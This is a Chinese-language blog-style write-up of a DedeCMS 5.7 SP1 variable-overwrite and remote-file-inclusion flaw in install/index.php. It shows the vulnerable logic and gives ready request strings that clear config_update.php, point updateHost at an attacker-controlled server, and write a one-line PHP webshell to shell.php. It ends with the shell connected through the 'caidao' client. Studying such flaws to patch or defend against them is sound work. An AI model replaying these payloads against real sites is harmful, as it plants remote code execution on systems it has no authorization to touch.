环境搭建:使用phpstudy,phpstudy版本2016,PHP版本5.4.45,mysql版本5.5.53
dedecms版本5.7 sp1 utf-8版
环境搭建好以后安装dedecms,安装完成以后访问一下

存在漏洞的地方在install/index.php文件中
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
在29到33行中存在变量覆盖,这段代码的大概意思是依次对_GET,_POST,_COOKIE进行键值分离
例如:_GET传入的参数是id=1,name=nfnf,在第一个foreach中先遍历_GET,此时$_request变为$_get,在第二个foreach中$$_request就变为$_get,$_k就是id和name
${$_k}就变为$id,$_v就是1和nfnf。最后$id的值就是被$_v被函数RunMagicQuotes处理后的值

文件包含
同样是在这个文件中
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
在文件的最后375行使用require_once函数包含了…/data/admin/config_update.php文件
在被包含的文件中定义了变量$updataHost
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
这是一个远程文件包含,结合前面的变量覆盖就可以控制包含的内容
网站安装完后在访问install/index.php会出现已安装
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
可以覆盖insLockfile变量
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
insLockfile不存在就可以,可以随便写insLockfile=tee
step=11时才会执行到文件包含,所以step=11
因为执行到step=11是才包含文件,变量updatahost此时才会被包含进来,所以需要先把包含进来的文件清空,我们所写的变量才会成功覆盖。如果不清空此时的uodatahost变量会把我们开始时传入的覆盖掉。所以要先清空
可以构造step=11&insLockfile=tee&install_demo_name=…/data/admin/config_update.php&s_lang=tee
dedecmsv5.7sp1 文件包含和变量覆盖漏洞清空…/data/admin/config_update.php内容的payload为
step=11&insLockfile=tee&install_demo_name=…/data/admin/config_update.php&s_lang=tee

内容清空后开始覆盖payload
step=11&insLockfile=tee&install_demo_name=…/shell.php&s_lang=tee&updateHost=http://127.0.0.1/
因为我这里是本地环境就写的是127.0.0.1,也可以写成能访问到的ip。需要在能访问到的ip下创建dedecms文件夹并创建文件,文件名为demodata.{$s_lang}.txt。构造payload时s_lang传入多少就写多少,我这里传入的是tee所以是demodata.tee.txt
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
文件中写入是的一句话木马
执行payload
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
访问一下shell.php
dedecmsv5.7sp1 文件包含和变量覆盖漏洞
可以看到成功了。可以愉快的来连接菜刀。
在dede5.7 sp2 utf-8 的版本中updatehost被定义为了常量,就不能覆盖了。

相关文章: